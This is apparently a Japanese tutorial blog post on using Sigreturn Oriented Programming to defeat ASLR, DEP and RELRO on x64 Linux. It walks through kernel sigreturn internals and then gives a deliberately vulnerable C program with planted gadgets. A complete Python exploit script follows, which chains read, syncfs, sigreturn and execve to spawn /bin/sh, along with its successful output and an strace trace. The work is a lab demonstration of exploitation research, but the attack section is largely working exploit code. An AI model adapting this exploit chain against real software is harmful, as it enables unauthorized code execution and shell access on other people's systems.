x64でSigreturn Oriented ProgrammingによるASLR+DEP+RELRO回避をやってみる

x64環境では、x86環境とは異なり関数の引数はレジスタにセットされる。 このため、ROPにおいてはpop rdi; retなどのgadgetを使い、複数のレジスタに値をセットしてから関数にジャンプする必要がある。 また、x64ではx86に存在したpushad、popad命令がなくなったため、popad命令を利用して複数のレジスタの値を一度にセットすることはできない。 しかし、sigreturnシステムコールを使うと、popad命令のようにスタックに置いた値を複数のレジスタに一度にセットすることができる。 これを利用すると任意のシステムコールを呼ぶことができ、これを連続して行う手法はSigreturn Oriented Programmingとして知られている。 ここでは、x64環境かつASLR+DEP+RELROが有効な条件下において、Sigreturn Oriented Programmingを使ったシェル起動をやってみる。

環境

Ubuntu 12.04 LTS 64bit版

$ uname -a
Linux vm-ubuntu64 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:39:31 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux

$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 12.04.4 LTS
Release:        12.04
Codename:       precise

$ gcc --version
gcc (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3

sigreturnシステムコールによる任意のシステムコール実行

シグナルハンドラはユーザが実装するものであるため、その実体となる機械語はメモリ上ではユーザ空間に配置される。 したがって、ユーザ空間のプロセスにシグナルが送られたときは、ユーザ空間からカーネル空間に移った後、再度ユーザ空間に戻りシグナルハンドラが実行されることになる。 しかし、シグナルハンドラの実行が終わったとき、元の実行状態に戻るには何かしらの工夫を行う必要がある。 これは、カーネル空間にはユーザ空間での実行状態は記録されないためである。

Linuxでは、シグナルを受け取ったときの実行状態をユーザ空間のスタックに退避させ、シグナルハンドラの実行が終わったタイミングでこれを復元することにより元の実行状態に戻るということが行われる。 この復元は、sigreturnシステムコールを実行することにより行われる。

x64環境において、システムコールテーブルからsigreturnを探すと次のようになっている。

 24 15      64      rt_sigreturn            stub_rt_sigreturn

sigreturnシステムコールのシステムコール番号は15であり、strb_rt_sigreturnにあるコードが実行されることがわかる。 この実装について調べると、次のようになっている。

 34 #define stub_rt_sigreturn sys_rt_sigreturn
565 asmlinkage long sys_rt_sigreturn(void)
566 {
567         struct pt_regs *regs = current_pt_regs();
568         struct rt_sigframe __user *frame;
569         unsigned long ax;
570         sigset_t set;
571 
572         frame = (struct rt_sigframe __user *)(regs->sp - sizeof(long));
573         if (!access_ok(VERIFY_READ, frame, sizeof(*frame)))
574                 goto badframe;
575         if (__copy_from_user(&set, &frame->uc.uc_sigmask, sizeof(set)))
576                 goto badframe;
577 
578         set_current_blocked(&set);
579 
580         if (restore_sigcontext(regs, &frame->uc.uc_mcontext, &ax))
581                 goto badframe;
582 
583         if (restore_altstack(&frame->uc.uc_stack))
584                 goto badframe;
585 
586         return ax;
587 
588 badframe:
589         signal_fault(regs, frame, "rt_sigreturn");
590         return 0;
591 }

sys_rt_sigreturn関数では、スタックに置かれたrt_sigframe構造体を参照し、その中にあるucメンバからレジスタの値を復元するなどしている。 ここで、x64環境におけるrt_sigframe構造体の定義をまとめると次のようになる。

 63 struct rt_sigframe {
 64         char __user *pretcode;
 65         struct ucontext uc;
 66         struct siginfo info;
 67         /* fp state follows here */
 68 };
  4 struct ucontext {
  5         unsigned long     uc_flags;
  6         struct ucontext  *uc_link;
  7         stack_t           uc_stack;
  8         struct sigcontext uc_mcontext;
  9         sigset_t          uc_sigmask;   /* mask last for extensibility */
 10 };
127 typedef struct sigaltstack {
128         void __user *ss_sp;
129         int ss_flags;
130         size_t ss_size;
131 } stack_t;
160 struct sigcontext {
161         __u64 r8;
162         __u64 r9;
163         __u64 r10;
164         __u64 r11;
165         __u64 r12;
166         __u64 r13;
167         __u64 r14;
168         __u64 r15;
169         __u64 rdi;
170         __u64 rsi;
171         __u64 rbp;
172         __u64 rbx;
173         __u64 rdx;
174         __u64 rax;
175         __u64 rcx;
176         __u64 rsp;
177         __u64 rip;
178         __u64 eflags;           /* RFLAGS */
179         __u16 cs;
180         __u16 gs;
181         __u16 fs;
182         __u16 __pad0;
183         __u64 err;
184         __u64 trapno;
185         __u64 oldmask;
186         __u64 cr2;
187         struct _fpstate __user *fpstate;        /* zero when no FPU context */
188 #ifdef __ILP32__
189         __u32 __fpstate_pad;
190 #endif
191         __u64 reserved1[8];
192 };
 16 typedef unsigned long sigset_t;

sigreturnシステムコールが呼ばれたときのrspがrt_sigframe構造体の中のucontext構造体の位置にあることに注意し、スタックの状態をまとめると次のようになる。

uc_flags      <- rsp
&uc_link
&ss_sp        (stack_t)
ss_flags         |
ss_size          v
r8            (struct sigcontext)
r9               |
r10              |
r11              |
r12              |
r13              |
r14              |
r15              |
rdi              |
rsi              |
rbp              |
rbx              |
rdx              |
rax              |
rcx              |
rsp              |
rip              |
eflags           |
cs/gs/fs         |
err              |
trapno           |
oldmask          |
cr2              |
&fpstate         |
reserved1[0]     |
reserved1[1]     |
reserved1[2]     |
reserved1[3]     |
reserved1[4]     |
reserved1[5]     |
reserved1[6]     |
reserved1[7]     v
uc_sigmask    (sigset_t)

sigreturnシステムコールが呼ばれると、スタックに置かれたucontext構造体の値からレジスタの値などが復元される。 そして、ripから実行が再開される。

これを利用し、スタックに上のようなフレームを置いた状態でsigreturnシステムコールを呼ぶと、任意のシステムコールを実行することができる。 具体的には、raxレジスタシステムコール番号、rdi、rsi、rdx、rcx、r8、r9レジスタシステムコールの引数、ripにsyscall; retとなるROP gadgetのアドレス、rspにstack pivotするアドレスを置く。 ここで、csレジスタは0x33となるようにする必要がある。 また、&fpstateにはFPU(浮動小数点数演算装置)の状態を表す_fpstate構造体のアドレスを置く必要があるが、NULLを置くこともできる。 NULLを置いた場合は、FPUレジスタは変更されない。

この方法を行うにあたっての条件は次のようになる。

  • スタックにNULL文字を置けること
  • raxに15をセットできること、あるいはpop rax; ret (58 C3) などが置かれた実行可能領域のアドレス
  • syscall; ret (0F 05 C3) が置かれた実行可能領域のアドレス

Sigreturn Oriented Programmingによるシステムコールの連続実行

上の方法を使うと任意のシステムコールを実行することができるが、raxが15となるように調整できれば再びシステムコールを実行することができる。 たとえば、x64環境でのreadシステムコールを利用した次のような方法がある。

  1. sigreturnシステムコールを使い、read(fd, fixed_writable_addr, 306)を実行する。
  2. readの戻り値としてraxレジスタに306がセットされる。これはsyncfsのシステムコール番号である。
  3. rspsyscall; retを置いておくことで、syncfs(fd)を実行する。
  4. syncfsの戻り値としてraxレジスタに0がセットされる。これはreadのシステムコール番号である。
  5. さらにrspsyscall; retを置いておくことで、read(fd, fixed_writable_addr, 306)を再び実行する。
  6. 送り込む文字を15バイトとすることで、raxレジスタに15をセットする。これはsigreturnのシステムコール番号である。
  7. sigreturnを使い、任意のシステムコールを実行する。

fixed_writable_addrは固定の書き込み可能アドレスであり、実行ファイルのbssセグメントのアドレスなどが利用できる。

脆弱性のあるプログラムを用意する

スタックバッファオーバーフローを起こせるコードを書いてみる。

/* bof.c */
#include <unistd.h>

int main()
{
    char buf[100];
    int size;
    /* pop rax; ret; syscall; ret; */
    char chaet[] = "\x58\xc3\x90\x90\x0f\x05\xc3";
    read(0, &size, 8);
    read(0, buf, size);
    write(1, buf, size);
    return 0;
}

このコードは最初に8バイトのデータ長を読み込み、続くデータをそのデータ長だけ読み込んだ後出力する。 また、このコードではROP gadgetとしてpop rax; retsyscall; retを意図的に埋め込んでいる。 実際は、実行ファイルのバイナリ中にこれらのgadgetがないか探す必要がある。

ASLR、DEP、RELRO有効、SSP無効でコンパイルし実行してみる。

$ sudo sysctl -w kernel.randomize_va_space=2
kernel.randomize_va_space = 2

$ gcc -fno-stack-protector -Wl,-z,relro,-z,now bof.c

$ echo -en "\x04\x00\x00\x00\x00\x00\x00\x00AAAA" | ./a.out
AAAA

エクスプロイトコードを書いてみる

上で説明した内容をもとに、Sigreturn Oriented Programmingを行うエクスプロイトコードを書くと次のようになる。

# exploit.py
import sys
import struct
from subprocess import Popen, PIPE

bufsize = int(sys.argv[1])

addr_bss = 0x0000000000601028        # readelf -S a.out

addr_pop_rax = 0x0040054f            # 0x0040054f: pop rax ; ret  ;  (1 found)
addr_syscall = 0x00400556            # 0x00400556: syscall  ; ret  ;  (1 found)
# addr_syscall = 0xffffffffff600007

stack_size = 0x800
base_stage = addr_bss + stack_size

buf1 = 'A' * bufsize
buf1 += 'A' * (8-len(buf1)%8)
buf1 += 'AAAAAAAA' * 2
buf1 += struct.pack('<Q', addr_pop_rax)
buf1 += struct.pack('<Q', 15)
buf1 += struct.pack('<Q', addr_syscall)
buf1 += 'AAAAAAAA' * 5
buf1 += struct.pack('<Q', 0) * 8              # r8-r15
buf1 += struct.pack('<Q', 0)                  # rdi
buf1 += struct.pack('<Q', base_stage)         # rsi
buf1 += struct.pack('<Q', 0)                  # rbp
buf1 += struct.pack('<Q', 0)                  # rbx
buf1 += struct.pack('<Q', 306)                # rdx
buf1 += struct.pack('<Q', 0)                  # rax
buf1 += struct.pack('<Q', 0)                  # rcx
buf1 += struct.pack('<Q', base_stage)         # rsp
buf1 += struct.pack('<Q', addr_syscall)       # rip
buf1 += struct.pack('<Q', 0)                  # eflags
buf1 += struct.pack('<Q', 0x33)               # csgsfs
buf1 += 'AAAAAAAA' * 4
buf1 += struct.pack('<Q', 0)                  # &fpstate

buf2 = struct.pack('<Q', addr_syscall)
buf2 += struct.pack('<Q', addr_syscall)
buf2 += struct.pack('<Q', addr_syscall)
buf2 += 'AAAAAAAA' * 5
buf2 += struct.pack('<Q', 0) * 8              # r8-r15
buf2 += struct.pack('<Q', base_stage + 8*34)  # rdi
buf2 += struct.pack('<Q', base_stage + 8*32)  # rsi
buf2 += struct.pack('<Q', 0)                  # rbp
buf2 += struct.pack('<Q', 0)                  # rbx
buf2 += struct.pack('<Q', 0)                  # rdx
buf2 += struct.pack('<Q', 59)                 # rax
buf2 += struct.pack('<Q', 0)                  # rcx
buf2 += struct.pack('<Q', base_stage)         # rsp
buf2 += struct.pack('<Q', addr_syscall)       # rip
buf2 += struct.pack('<Q', 0)                  # eflags
buf2 += struct.pack('<Q', 0x33)               # csgsfs
buf2 += 'AAAAAAAA' * 4
buf2 += struct.pack('<Q', 0)                  # &fpstate
buf2 += struct.pack('<Q', base_stage + 8*34)
buf2 += struct.pack('<Q', 0)
buf2 += '/bin/sh\x00'
buf2 += 'A' * (306-len(buf2))

p = Popen(['./a.out'], stdin=PIPE, stdout=PIPE)

p.stdin.write(struct.pack('<Q', len(buf1)))
p.stdin.write(buf1)
print "[+] read: %r" % p.stdout.read(len(buf1))

p.stdin.write(buf2)
p.stdin.write('A' * 15)
import time
time.sleep(1e-3)
p.stdin.write('exec <&2 >&2\n')

p.wait()

このコードは、オーバーフローさせるバッファのサイズを引数に取る。 コードの内容を簡単にまとめると次のようになる。

  1. pop rax; retによりraxに15をセット
  2. sigreturnシステムコール(15)を使い、readシステムコール(0)を実行、データを306バイト読み込みstack pivotを行う
  3. syncfsシステムコール(306)を使い、raxに0をセット
  4. readシステムコール(0)を使い、データを15バイト読み込みraxに15をセット
  5. sigreturnシステムコール(15)を使い、execveシステムコール(59)を実行、シェルを起動する

ここで、括弧の中の数字はx64環境におけるシステムコール番号である。 また、2度目のreadシステムコールで15バイトのみ読み込ませるため、エクスプロイトコード側で1msのsleepを行っている。

引数をセットし実行してみる。

$ python exploit.py 100
[+] read: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAO\x05@\x00\x00\x00\x00\x00\x0f\x00\x00\x00\x00\x00\x00\x00V\x05@\x00\x00\x00\x00\x00AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00(\x18`\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x002\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00(\x18`\x00\x00\x00\x00\x00V\x05@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x003\x00\x00\x00\x00\x00\x00\x00AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00\x00\x00\x00\x00\x00\x00\x00'
id[ENTER]
uid=1000(user) gid=1000(user) groups=1000(user)
[CTRL+D]

Sigreturn Oriented Programmingにより、x64環境かつASLR+DEP+RELROが有効な条件下でシェルが起動できていることが確認できた。

なお、straceコマンドにより実行時のシステムコールをトレースすると次のようになる。 ここでは-fオプションを使い、子プロセスについてもトレースを行う。

$ strace -f python exploit.py 100 >/dev/null
execve("/usr/bin/python", ["python", "exploit.py", "100"], [/* 18 vars */]) = 0
...
clone(Process 14096 attached
child_stack=0, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f9ae8f789d0) = 14096
...
[pid 14096] execve("./a.out", ["./a.out"], [/* 18 vars */] <unfinished ...>
...
[pid 14096] rt_sigreturn(0x1)           = 0
[pid 14096] read(0, "V\5@\0\0\0\0\0V\5@\0\0\0\0\0V\5@\0\0\0\0\0AAAAAAAA"..., 306) = 306
[pid 14096] syscall_306(0, 0x601828, 0x132, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0) = 0
[pid 14096] read(0, "AAAAAAAAAAAAAAA", 306) = 15
[pid 14096] rt_sigreturn(0)             = 59
[pid 14096] execve("/bin/sh", ["/bin/sh"], [/* 0 vars */] <unfinished ...>
...

上の結果から、指定した通りの順番でシステムコールが実行されていることが確認できる。

vsyscallページのROP gadgetについて

Linux 3.3より前のバージョンのx64環境では、0xffffffffff600000の固定アドレスにvsyscallと呼ばれるメモリページが存在する。 このページにはgettimeofthedayシステムコールなどを呼び出すコードが置かれており、ROP gadgetとしてsyscall; retが入っている。 実際にgdbを使って調べてみると、次のようになる。

$ gdb -q a.out
Reading symbols from /home/user/tmp/a.out...(no debugging symbols found)...done.
(gdb) set disable-randomization off
(gdb) start
Temporary breakpoint 1 at 0x400548
Starting program: /home/user/tmp/a.out
warning: no loadable sections found in added symbol-file system-supplied DSO at 0x7fff7ef56000

Temporary breakpoint 1, 0x0000000000400548 in main ()
(gdb) i proc map
process 14144
Mapped address spaces:

          Start Addr           End Addr       Size     Offset objfile
            0x400000           0x401000     0x1000        0x0 /home/user/tmp/a.out
            ...
      0x7fff7ee6f000     0x7fff7ee90000    0x21000        0x0 [stack]
      0x7fff7ef56000     0x7fff7ef58000     0x2000        0x0 [vdso]
  0xffffffffff600000 0xffffffffff601000     0x1000        0x0 [vsyscall]
(gdb) x/10i 0xffffffffff600000
   0xffffffffff600000:  mov    rax,0x60
   0xffffffffff600007:  syscall
   0xffffffffff600009:  ret
   0xffffffffff60000a:  int3
   0xffffffffff60000b:  int3
   0xffffffffff60000c:  int3
   0xffffffffff60000d:  int3
   0xffffffffff60000e:  int3
   0xffffffffff60000f:  int3
   0xffffffffff600010:  int3

上の結果から、syscall; retのアドレスとして0xffffffffff600007が使えそうなことがわかる。 そこで、raxレジスタに0(readシステムコール)をセットしジャンプしてみる。

(gdb) set $rax = 0
(gdb) jump *0xffffffffff600007
Continuing at 0xffffffffff600007.

Program received signal SIGSEGV, Segmentation fault.
0xffffffffff600007 in ?? ()

上の結果から、readシステムコールは実行されずセグメンテーション違反で落ちていることがわかる。

これは、カーネルのboot optionとしてvsyscall=emulateが指定されていることによるものである。 この場合、vsyscallページに直接ジャンプすることはできなくなる。

vsyscallパラメータは値としてemulateの他にnative、noneを取ることができ、nativeであれば上のようなgadgetを利用することが可能となる。

関連リンク